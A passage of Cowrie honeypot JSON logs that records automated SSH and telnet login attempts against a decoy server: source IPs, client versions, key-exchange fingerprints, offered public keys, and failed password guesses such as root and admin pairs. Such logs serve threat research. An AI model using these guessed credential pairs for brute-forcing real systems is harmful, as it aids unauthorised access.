,"hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:09:07.830953Z","src_ip":"103.15.226.202","session":"4db05edc5b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@147258","message":"login attempt [root/Aa@147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:09:08.580424Z","src_ip":"103.15.226.202","session":"4db05edc5b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:09:09.837749Z","src_ip":"103.15.226.202","session":"4db05edc5b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":40080,"dst_ip":"10.17.0.5","dst_port":22,"session":"457be12a0f52","protocol":"ssh","message":"New connection: 57.128.223.80:40080 (10.17.0.5:22) [session: 457be12a0f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:21.188397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:21.274922Z","src_ip":"57.128.223.80","session":"457be12a0f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:21.381052Z","src_ip":"57.128.223.80","session":"457be12a0f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abc.123","message":"login attempt [user/abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:21.882052Z","src_ip":"57.128.223.80","session":"457be12a0f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:23.004731Z","src_ip":"57.128.223.80","session":"457be12a0f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":39366,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dddff370a42","protocol":"ssh","message":"New connection: 2.57.121.112:39366 (10.17.0.5:22) [session: 2dddff370a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:34.270103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:34.275295Z","src_ip":"2.57.121.112","session":"2dddff370a42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:34.381476Z","src_ip":"2.57.121.112","session":"2dddff370a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"noncapa0","message":"login attempt [admin/noncapa0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:34.880694Z","src_ip":"2.57.121.112","session":"2dddff370a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nolimit5","message":"login attempt [admin/nolimit5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:35.989649Z","src_ip":"2.57.121.112","session":"2dddff370a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"noaccess","message":"login attempt [admin/noaccess] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:37.098247Z","src_ip":"2.57.121.112","session":"2dddff370a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nitehawk","message":"login attempt [admin/nitehawk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:38.207218Z","src_ip":"2.57.121.112","session":"2dddff370a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ninnin","message":"login attempt [admin/ninnin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:39.316369Z","src_ip":"2.57.121.112","session":"2dddff370a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:11:40.425636Z","src_ip":"2.57.121.112","session":"2dddff370a42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.210.173.60","src_port":41300,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7e79a3840dd","protocol":"ssh","message":"New connection: 31.210.173.60:41300 (10.17.0.5:22) [session: f7e79a3840dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:12.697135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:12.702653Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:12.786480Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:e3:24:56:cb:82:24:e5:ca:34:60:6b:f0:f3:5b:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh3mLFvco/21Ch/oG70L2ZO0dAv9Kp2TU4NDxpzzUWUjy3yTeCcarw15FFt1CW+QlDNQPGRYSpt13vuFzsJgUz9LyOTgUf90tdPHKMJLB3pJYFDARSPA1zbaFo5vC99lPcv74yqFABdS9i53pA5Adok85Em0ew+MhxckIjBknlKvjgXst1Ot/Y5PWEE3j29B1Gl7e+EZ5aBZnnB3i26qUDe5MjJjgxZ7jNjBqNRyVGWJDDI0MxbSCxQV4BmqioX5GJ6gFPwv3Il8ZQhkvPzX6xLrwU6h17Q9Cps6l9Kx/FCeqVGbFb+wvL4eZor0mpUzyqpfYA6aM+Ugw8zUorbJYyWbqJKHKCwjL5EWKNroe8rKa6EzGL8zgXMqsuTguDGBjXOAqDt4MrOp4EJuZ3pYHngN9C8PaRlvzaJJ+TlUJ16N6hjfca5sYmCJGv3lwi/s57lkEAYjsVNHOaDGXIA4Rld4rhIf0NPsPE697EGKv5o33F0xOZ+Z4/1qt/6XY8pmvFtFsJQH3fkdJeK3futNlxJ9ejoKWIt+1gdji0wfsQGzjWKQ3WuP662P6mO1zPGNvwFB3ta5A0kQvEnQwcV5dN/Q/Vb0fheTK0MdKsaK/hvVV7nlSSYOk2zUVRVPgY5P7SF8+yClJpLYza1u5hKhGhmKAzLWfRw0bzu1ZzzYKXJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:e3:24:56:cb:82:24:e5:ca:34:60:6b:f0:f3:5b:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.183787Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:e3:24:56:cb:82:24:e5:ca:34:60:6b:f0:f3:5b:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCh3mLFvco/21Ch/oG70L2ZO0dAv9Kp2TU4NDxpzzUWUjy3yTeCcarw15FFt1CW+QlDNQPGRYSpt13vuFzsJgUz9LyOTgUf90tdPHKMJLB3pJYFDARSPA1zbaFo5vC99lPcv74yqFABdS9i53pA5Adok85Em0ew+MhxckIjBknlKvjgXst1Ot/Y5PWEE3j29B1Gl7e+EZ5aBZnnB3i26qUDe5MjJjgxZ7jNjBqNRyVGWJDDI0MxbSCxQV4BmqioX5GJ6gFPwv3Il8ZQhkvPzX6xLrwU6h17Q9Cps6l9Kx/FCeqVGbFb+wvL4eZor0mpUzyqpfYA6aM+Ugw8zUorbJYyWbqJKHKCwjL5EWKNroe8rKa6EzGL8zgXMqsuTguDGBjXOAqDt4MrOp4EJuZ3pYHngN9C8PaRlvzaJJ+TlUJ16N6hjfca5sYmCJGv3lwi/s57lkEAYjsVNHOaDGXIA4Rld4rhIf0NPsPE697EGKv5o33F0xOZ+Z4/1qt/6XY8pmvFtFsJQH3fkdJeK3futNlxJ9ejoKWIt+1gdji0wfsQGzjWKQ3WuP662P6mO1zPGNvwFB3ta5A0kQvEnQwcV5dN/Q/Vb0fheTK0MdKsaK/hvVV7nlSSYOk2zUVRVPgY5P7SF8+yClJpLYza1u5hKhGhmKAzLWfRw0bzu1ZzzYKXJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.187612Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:de:37:e5:ed:b8:e2:4c:30:fa:22:ca:91:ea:1c:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2R7diq6mXVZY/HuYuS0+CqnpYVfTWtMuXY2mDdsSfzf1WVQdLT1rSBz/hy8E9yBYaBjDzvBwmBMuBkVt0seEQnT2Dhz4kRL/NE8BKcH1iQrv4wQS+/0RwNdYwx/CK6/D3of0bFCRvsUF0XksoUQWC+MSTeU1YXYqKyYXb7BByiqv1khItTpKRVOX6AfxP4vscOrmaTTPupVRg4T04VYQmBxtIeRsWdSVP6Kfb3LMtjXK+fqBSaqBaDrvvEqeOeTHhKv2DecCR+/cyuZ+Op2wIkw+6fmUn1hPmUpkmnVEpAvGkn3asHXk9NC49vwDcI6E7nnxE2rwv94nOCbiPrdZsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:de:37:e5:ed:b8:e2:4c:30:fa:22:ca:91:ea:1c:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.271307Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:de:37:e5:ed:b8:e2:4c:30:fa:22:ca:91:ea:1c:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2R7diq6mXVZY/HuYuS0+CqnpYVfTWtMuXY2mDdsSfzf1WVQdLT1rSBz/hy8E9yBYaBjDzvBwmBMuBkVt0seEQnT2Dhz4kRL/NE8BKcH1iQrv4wQS+/0RwNdYwx/CK6/D3of0bFCRvsUF0XksoUQWC+MSTeU1YXYqKyYXb7BByiqv1khItTpKRVOX6AfxP4vscOrmaTTPupVRg4T04VYQmBxtIeRsWdSVP6Kfb3LMtjXK+fqBSaqBaDrvvEqeOeTHhKv2DecCR+/cyuZ+Op2wIkw+6fmUn1hPmUpkmnVEpAvGkn3asHXk9NC49vwDcI6E7nnxE2rwv94nOCbiPrdZsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.275554Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:5e:89:6c:ea:ee:1c:4f:ce:43:e9:7b:82:52:53:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTm7h/B5GL4yVdoW3tyCNp+w4m/TjHhfiLJBrbDyIfa","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 04:5e:89:6c:ea:ee:1c:4f:ce:43:e9:7b:82:52:53:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.360331Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:5e:89:6c:ea:ee:1c:4f:ce:43:e9:7b:82:52:53:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTm7h/B5GL4yVdoW3tyCNp+w4m/TjHhfiLJBrbDyIfa","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.363967Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:8d:4d:8b:f6:36:34:75:a2:ce:ba:ff:3c:51:de:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg+858DJY4Gx3Dde3evyK4qu9oVsE231gieqcZSLvwNkEp1VsC4rhteCDdi4SvNWoeSerFU85jAVBZa1QyJoT8u7wj068DEDMH5IpXgLT76Neu/tHu9Mn+HWr2pmyev4cbYXSMkJaEmteNW3pf+dPR4e14peKIQVE54R7CCE4HVYnZO4UGhMwfzqlmgiVCMPOPJeWeXJWFOEiGWFpTC+gb5kwq0r2vqPqJFjTYOV/HSjsii8isaXb/pX71IBnqP2tB9iQnfnomYJ2W3sWs/aeBiJ+BkLzs1vthWLW24aimA8GNWnagTbJV17LRTZ+qkb6ENZFRbeb27U2IoepbTBJL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:8d:4d:8b:f6:36:34:75:a2:ce:ba:ff:3c:51:de:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.451791Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:8d:4d:8b:f6:36:34:75:a2:ce:ba:ff:3c:51:de:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg+858DJY4Gx3Dde3evyK4qu9oVsE231gieqcZSLvwNkEp1VsC4rhteCDdi4SvNWoeSerFU85jAVBZa1QyJoT8u7wj068DEDMH5IpXgLT76Neu/tHu9Mn+HWr2pmyev4cbYXSMkJaEmteNW3pf+dPR4e14peKIQVE54R7CCE4HVYnZO4UGhMwfzqlmgiVCMPOPJeWeXJWFOEiGWFpTC+gb5kwq0r2vqPqJFjTYOV/HSjsii8isaXb/pX71IBnqP2tB9iQnfnomYJ2W3sWs/aeBiJ+BkLzs1vthWLW24aimA8GNWnagTbJV17LRTZ+qkb6ENZFRbeb27U2IoepbTBJL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.455902Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:ff:f3:07:83:85:eb:7c:d0:22:9e:88:0a:ed:a0:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt+RN9Fvkhc/3HN7Ba0StFe+XsHcjP3HTrGejlpmHprXw2GRjQnlHypRTpaaB8U0Psh2xawzulyPBrc6EBgYR6yxQlN1D/pmikAYLLbJxi9Jntdo/7Jb6juxs/FhPrwrSDEKynvBIVYvlf7+p/zM2IC0nzGEwOkQJH04NHLWLTyuAaRbM1F6Ag/guLzgxp8DoscpfJHEtK6JsKRBmHz7EpNMCEjnAY8HeJNGLN/StsD3ldBJSDzVON500o1+SiKrieABJ3/KCtYY+xO3zaMBuNIYLyulFQUoK3wcJ+WpMmRc68gBZqAg3xvRfh3+rco55miDzjfty5eN66r/hpnTLh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:ff:f3:07:83:85:eb:7c:d0:22:9e:88:0a:ed:a0:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.542340Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:ff:f3:07:83:85:eb:7c:d0:22:9e:88:0a:ed:a0:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt+RN9Fvkhc/3HN7Ba0StFe+XsHcjP3HTrGejlpmHprXw2GRjQnlHypRTpaaB8U0Psh2xawzulyPBrc6EBgYR6yxQlN1D/pmikAYLLbJxi9Jntdo/7Jb6juxs/FhPrwrSDEKynvBIVYvlf7+p/zM2IC0nzGEwOkQJH04NHLWLTyuAaRbM1F6Ag/guLzgxp8DoscpfJHEtK6JsKRBmHz7EpNMCEjnAY8HeJNGLN/StsD3ldBJSDzVON500o1+SiKrieABJ3/KCtYY+xO3zaMBuNIYLyulFQUoK3wcJ+WpMmRc68gBZqAg3xvRfh3+rco55miDzjfty5eN66r/hpnTLh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.545967Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:13.630635Z","src_ip":"31.210.173.60","session":"f7e79a3840dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":52742,"dst_ip":"10.17.0.5","dst_port":23,"session":"9743545c48ea","protocol":"telnet","message":"New connection: 212.55.149.117:52742 (10.17.0.5:23) [session: 9743545c48ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:43.128861Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":51860,"dst_ip":"10.17.0.5","dst_port":22,"session":"bee23ee9000f","protocol":"ssh","message":"New connection: 103.15.226.202:51860 (10.17.0.5:22) [session: bee23ee9000f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:43.141962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:43.146973Z","src_ip":"103.15.226.202","session":"bee23ee9000f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:43.389903Z","src_ip":"103.15.226.202","session":"bee23ee9000f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"98769876","message":"login attempt [root/98769876] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:44.119422Z","src_ip":"103.15.226.202","session":"bee23ee9000f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:45.366406Z","src_ip":"103.15.226.202","session":"bee23ee9000f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28478,"dst_ip":"10.17.0.5","dst_port":22,"session":"5435a4c52cd5","protocol":"ssh","message":"New connection: 87.251.64.176:28478 (10.17.0.5:22) [session: 5435a4c52cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:12:59.671144Z"}
